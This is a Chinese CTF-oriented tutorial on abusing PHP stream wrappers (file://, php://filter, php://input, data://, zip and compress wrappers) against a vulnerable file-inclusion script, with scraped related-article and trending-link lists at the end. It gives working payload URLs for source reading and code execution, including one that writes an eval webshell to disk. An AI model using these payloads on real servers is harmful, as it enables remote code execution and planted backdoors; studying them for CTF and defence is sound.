参考链接:PHP伪协议总结 - SegmentFault 思否

目录

1.file://协议

条件:

作用:

说明:

用法

示例:

2.php://协议

条件

作用:

说明

php://filter使用

php://input的使用

3.data://协议

作用:

用法

4.zip:// & bzip:// & zlib:// 协议

作用:

示例:

总结


总结

在ctf中常用的有data:// , php://input , php://filter ,file://

php://input ,data://用来执行命令1.php://input 的用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>2.data://用法
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>php://filter,file://用来读取文件3.php://filter用法
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(读取php文件需要先加密以下才能读出来,并且拿到的源码需要进行base64解码下)
http://127.0.0.1/include.php?file=php://filter/resource=/flag
4.file://用法
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

1.file://协议

条件:

allow_url_fopen : off/on
allow_url_include: off/on

作用:

用于访问本地文件系统,在ctf中通常用来读取本地文件

在include() / require() / include_once() / require_once() 参数可控的情况下,即使导入非.php文件,如shell.txt ,依然按照php语法进行解析,这是include()函数所决定的

说明:

file:// 文件系统是php使用的默认封装协议,用于展示本地文件系统。

用法

/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext

示例:

1.file://[文件的绝对路径和文件名]

http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

2.file://[文件的相对路径和文件名]

http://127.0.0.1/include.php?file=./phpinfo.txt

3.http://网络位置和文件名

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

2.php://协议

条件

allow_url_open : off/on
allow_url_include: 仅 php://input  php://stdin php://memory php://temp 需要on

作用:

php:// 访问各个输入/输出流 (I/O streams), 在ctf中经常使用的是 php://filter 和 php://input

php://filter 用于读取源码
php://input 用于执行php代码

说明

php提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流,标准输入输出流和错误描述符

php://filter使用

php://filter/read=convert.base64-encode/resource=[文件名]

php://input的使用

http://127.0.0.1/include.php?file=php://input[POST DATA部分]
<?php phpinfo(); ?>

写入一句话木马

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

3.data://协议

作用:

php>=5.2.0 , 可以使用data://数据流封装器,以传递相应格式的数据。通常用来执行php代码

用法

data://text/plain, ???
如
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

4.zip:// & bzip:// & zlib:// 协议

作用:

zip:// & bzip:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀名,如 jpg,png,gif,xxx等

示例:

1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件文件名](# 的编码为 %23)

压缩 phpinfo.txt 为phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2

压缩phpinfo.txt 为phpinfo.bz2 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz

压缩phpinfo.txt 为phpinfo.gz 并上传(支持任意后缀名)

http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

php伪协议实现命令执行,任意文件读取相关推荐

  1. php mail执行命令,PHPMailer 命令执行 任意文件读取漏洞利用 【含POC】

    PHPMailer 命令执行漏洞(CVE-2016-10033) 漏洞编号:CVE-2016-10033 影响版本:PHPMailer< 5.2.18 漏洞级别: 高危 漏洞POC: PHPMa ...

  2. php伪协议实现命令执行的七种姿势

    文件包含函数:include.require.include_once.require_once.highlight_file .show_source .readfile .file_get_con ...

  3. 一、WillPHPv2代码审计-[变量覆盖]-[文件包含]-[任意文件读取漏洞]-[pearcmd裸文件包含]

    时间戳--2021.12.12 0x01 [HXBCTF 2021]easywill_WriteUp: 一.PHPSTORM框架调试 第一步:登录buuctf,打开[HXBCTF 2021]easyw ...

  4. CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析

    title: CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析 date: 2021-05-19 01:07:08 categ ...

  5. 利用批处理命令执行.jar文件

    利用批处理命令执行.jar文件 1.创建.jar文件(此处为一个java项目,主函数里只有一条语句System.out.println("请输入一个字符串:");) 2.创建批处理 ...

  6. 任意文件读取漏洞知识梳理

    文章目录 1.概述 2.开发语言触发点 2.1 PHP 2.2 Python 2.3 Java 2.4 Ruby 2.5 Node 3.中间件/服务器相关触发点 3.1 Nginx错误配置 3.2 数 ...

  7. 读取txt原理_Mysql客户端任意文件读取学习

    前言 最近打了 DDCTF和 国赛,发现都考了一个知识点,也就是 MysqlLocalInfile客户端文件读取这个漏洞,下面来详细的学习一个这个漏洞. 漏洞形成原因 此漏洞形成的主要原因在于 LOA ...

  8. python文件审计系统_Python代码审计实战案例总结之CRLF和任意文件读取

    介绍 Python代码审计方法多种多样,但是总而言之是根据前人思路的迁移融合扩展而形成.目前Python代码审计思路,呈现分散和多样的趋势.Python微薄研发经验以及结合实际遇到的思路和技巧进行总结 ...

  9. python文件审计_Python代码审计实战案例总结之CRLF和任意文件读取

    文章目录 介绍 CRLF和任意文件读取的审计实战 CRLF 审计实战 urllib CRLF漏洞(CVE-2019-9740和CVE-2019-9947) httplib CRLF 漏洞 任意文件读取 ...

最新文章

  1. 利用基于GPU的AI模拟一个现实宇宙 仅需36分钟
  2. mysql重置密码以及授予权限
  3. 从零开始攻略PHP(8)——面向对象(下)
  4. .java文件_【转】java文件操作大全
  5. nodejs+kafka+storm+hbase 开发
  6. Shiro Shiro Web Support and EnvironmentLoaderListener
  7. Cisco Nexus-1000v授权
  8. 数据挖掘与其商务智能上的应用的实验报告
  9. 下周把交接文档做完就交接实习结束离职了
  10. 酒店管理系统(功能结构图、流程图)
  11. 前端应届简历应该怎么写?
  12. 界面设计基础之基本窗口
  13. c语言成绩报告单评语,期末成绩报告单评语
  14. APP登录功能的Java服务端开发
  15. 通达OA:2015年注定是不平凡的一年
  16. 【Vue】16.vue项目里引入百度统计
  17. R语言数据可视化——图形色彩设计(调色盘)
  18. 字节跳动青训营笔试题解
  19. Qt下对软件试用期以及使用次数设置的一次探索
  20. 瓜子理论-来自子游的博客

热门文章

  1. 邮件服务器zimbra的搭建与使用
  2. 卡罗拉 (COROLLA) - 开启引擎盖
  3. 【力扣周赛】第349场周赛
  4. 学会如何学习,是一项终极生存技能
  5. 没有乔布斯的MacWorld :8个瞬间
  6. 策略死守“传统数据”招招落于人后?-也许您需要另类数据
  7. 记录一次rpmbuild打包报错,错误码error: Bad exit status from /var/tmp/rpm-tmp.aP0jov (%install)
  8. GQ1b(NH4+盐)说明书
  9. 【codecombat】 试玩全攻略 第六关 cell commentary
  10. matlab如何循时将上一次运行出的结果带入下一次的运算,关于怎么把 for的上一次计算结果代入下一次循环的初始值问题...